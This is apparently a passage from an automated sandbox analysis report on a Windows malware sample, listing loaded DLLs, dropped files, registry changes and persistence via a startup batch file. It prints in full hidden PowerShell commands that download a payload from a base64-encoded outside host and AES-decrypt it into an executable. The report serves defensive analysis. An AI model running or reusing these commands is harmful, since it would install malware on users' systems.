Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: wlanapi.dll
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: msi.dll
Source: C:\Windows\explorer.exe	Section loaded: winmm.dll
Source: C:\Windows\explorer.exe	Section loaded: dbghelp.dll
Source: C:\Windows\explorer.exe	Section loaded: dbgcore.dll
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\explorer.exe	Section loaded: dpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: mozglue.dll
Source: C:\Windows\explorer.exe	Section loaded: wsock32.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: winnsi.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\explorer.exe	Section loaded: schannel.dll
Source: C:\Windows\explorer.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\explorer.exe	Section loaded: ntasn1.dll
Source: C:\Windows\explorer.exe	Section loaded: ncrypt.dll
Source: C:\Windows\explorer.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\explorer.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Section loaded: wininet.dll
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\explorer.exe	Section loaded: amsi.dll
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll
Source: C:\Windows\explorer.exe	Section loaded: msasn1.dll
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Section loaded: wininet.dll
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source:

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'@{# Script module or binary module file associated wi

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "$key = [System.Text.Encoding]::UTF8.GetBytes('blMgb+WrfPrXMFxK7ymKPM3SVHUAYPt9');" "$iv = [System.Text.Encoding]::UTF8.GetBytes('5t9nsUPo0cA/tUjH');" "$aes = [System.Security.Cryptography.Aes]::Create();" "$aes.Key = $key; $aes.IV = $iv;" "$decryptor = $aes.CreateDecryptor();" "$inputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin';" "$encryptedBytes = [System.IO.File]::ReadAllBytes($inputFile);" "$decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length);" "$outputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.exe';" "[System.IO.File]::WriteAllBytes($outputFile, $decryptedBytes);"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "$key = [System.Text.Encoding]::UTF8.GetBytes('blMgb+WrfPrXMFxK7ymKPM3SVHUAYPt9');" "$iv = [System.Text.Encoding]::UTF8.GetBytes('5t9nsUPo0cA/tUjH');" "$aes = [System.Security.Cryptography.Aes]::Create();" "$aes.Key = $key; $aes.IV = $iv;" "$decryptor = $aes.CreateDecryptor();" "$inputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin';" "$encryptedBytes = [System.IO.File]::ReadAllBytes($inputFile);" "$decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length);" "$outputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.exe';" "[System.IO.File]::WriteAllBytes($outputFile, $decryptedBytes);"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000000014000D9C4 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

0_2_000000014000D9C4

Source: file.exe	Static PE information: section name: .code
Source: WindosCPUsystem.exe.16.dr	Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000014001BD2E push rbx; ret	0_2_000000014001BD2F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9B890DD8 push E85F4A10h; ret	7_2_00007FFD9B890DF9
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0032B1A5 push ecx; ret	13_2_0032B1B8
Source: C:\Windows\explorer.exe	Code function: 18_2_0232D150 push rbp; retf	18_2_0232D151
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_0000016DE6951A21 push dword ptr [00006C01h]; ret	19_2_0000016DE6951A90
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_0000016DE6951DB5 push FF480027h; retf	19_2_0000016DE6951DBA
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_0000016DE86C1394 push dword ptr [00006C01h]; ret	19_2_0000016DE86C1403
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 31_2_000001677AB41A21 push dword ptr [00006C01h]; ret	31_2_000001677AB41A90
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 31_2_000001677AB41DB5 push FF480027h; retf	31_2_000001677AB41DBA
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 31_2_000001677C7E1394 push dword ptr [00006C01h]; ret	31_2_000001677C7E1403

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe

File created: C:\Users\user\AppData\Local\Temp\asrjskwdsdoc.sys

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Jump to dropped file
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	File created: C:\Users\user\AppData\Local\Temp\asrjskwdsdoc.sys	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe

Jump to dropped file

Source: C:\Windows\explorer.exe

Code function: 18_2_022C1000 GetCommandLineW,CommandLineToArgvW,ExitProcess,RegGetValueW,ExitProcess,OpenEventW,ExitProcess,SetEvent,CloseHandle,ExitProcess,CreateMutexExW,ExitProcess,CreateEventW,ExitProcess,OpenMutexW,ExitProcess,CreateThread,ExitProcess,WaitForMultipleObjects,WaitForSingleObject,ExitProcess,

18_2_022C1000

Source: C:\Windows\explorer.exe	Code function: 18_2_022C34B0 LocalAlloc,LocalAlloc,LocalAlloc,SHGetKnownFolderPath,LocalAlloc,LocalAlloc,GetPrivateProfileStringW,LocalAlloc,_snprintf,LocalAlloc,_snprintf,CreateFileA,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,wsprintfW,wsprintfW,wsprintfW,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,MultiByteToWideChar,wsprintfW,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,CoTaskMemFree,LocalFree,LocalFree,LocalFree,		18_2_022C34B0
Source: C:\Windows\explorer.exe	Code function: 18_2_022CAF00 LocalAlloc,LocalAlloc,LocalAlloc,SHGetKnownFolderPath,LocalAlloc,LocalAlloc,GetPrivateProfileStringW,LocalAlloc,_snprintf,LocalAlloc,_snprintf,CreateFileA,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,CoTaskMemFree,LocalFree,LocalFree,LocalFree,		18_2_022CAF00

Boot Survival

Drops script or batch files to the startup folder

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoRun_WindosCPUsystem.bat

Jump to dropped file

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoRun_WindosCPUsystem.bat

Jump to behavior

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoRun_WindosCPUsystem.bat

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_00318110 LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,

13_2_00318110

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\{BB52E685-57DB-490D-A4DD-CCF2F7D90D58} {2DD5D29F-1CE3-49E7-8572-9D856412ED59}

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
